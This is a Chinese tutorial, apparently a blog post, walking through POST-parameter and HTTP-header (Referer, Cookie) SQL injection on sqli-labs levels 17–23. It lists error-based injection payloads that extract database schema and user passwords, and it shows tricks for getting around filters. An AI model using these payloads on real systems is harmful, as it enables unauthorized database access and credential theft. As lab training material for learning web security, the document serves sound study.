WEB安全--SQL注入--POST传参注入、SQL头部注入

一、介绍:

post传参和get传参对注入方式没有本质上的影响,只不过前者是通过页面上的表单提交数据后者是通过url传参。

而头部注入是因为后端并没有直接将参数插入查询语句,而是通过插入或取出cookie、referer等参数进行数据查询或更改的;所以通常使用抓包工具在抓到的数据包上更改相应的参数进行注入。

二、示例:

2.1、POST示例:

sql 复制代码
#less-17
username和password是两个传入点,但是username这个参数用户传入后会被后端waf处理,
所以无法在这个点写payload;我们可以在password上下功夫,如果要注入的话,
首先得保证username传入的值是正确的,
然后再在password字段上用联合注入或者报错注入等payload即可。


//$update="UPDATE users SET password = 'aaa' and selec#' WHERE username='$row1'";

//11' and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))as x from information_schema.tables group by x)as y)#

//123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(id,username,password) from users),0x5c)))#

//1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#

//1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#



#less-23
此关的waf过滤了注释符,我们要在payload末尾用  '1'='1  来代替--+,
通过报错注入的方式,后面也就迎刃而解了


?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

2.2、改包示例:

sql 复制代码
#less-18 ~ less-22
通过使用burpsuite截取我们传递的包,然后修改相应字段的数据即可,也就是在里面写注入语句。

不过要注意的是:
less-19改写的字段是Referer='';
less-20改写的字段是cookie,因为username和password都设置了waf;
less-21改写的地方也是cookie,不过需要先把注入语句用Base64编码一遍,
因为后台接收的时候设置了Base64解码过滤;
相关推荐
测试运维日常笔记2 分钟前
SQL 快速学习笔记:1~2 小时掌握面试重点
笔记·sql·学习
桌管小李3 分钟前
终端安全一体化实战:AI 审计、行为分析、零信任、防拍照与远程运维全解析
运维·服务器·网络·人工智能·windows·安全·macos
迪康Defender37 分钟前
端点安全选型观察:一体化平台与传统 EDR 的场景差异
运维·经验分享·安全·自动化·学习方法·远程工作·安全架构
泡海椒42 分钟前
JQuick-SQL CASE WHEN 与函数:在查询中构建业务字段
数据库·sql
零域行者1 小时前
Linux入门基础命令
linux·服务器·安全·web安全
骑着蜗牛撵大象3271 小时前
四种库收进一个SQL编辑器(下):跨库取数、方言对齐与四库巡检的落地拆解
jvm·数据库·sql·编辑器·数据迁移·跨库查询
惊讶的猫1 小时前
mysql-多表连接查询(JOIN)
数据库·sql·mysql
几何心凉2 小时前
告别补丁式防护:数据安全架构与治理实战指南
安全·安全架构
众乐乐_20082 小时前
【实操解决】PHP5.4~PHP7.3的 CVE-2026-109618与CVE-2026-109619问题
安全·php
jiidd2 小时前
关于SQL SERVICE数据库里换行问题
数据库·sql·oracle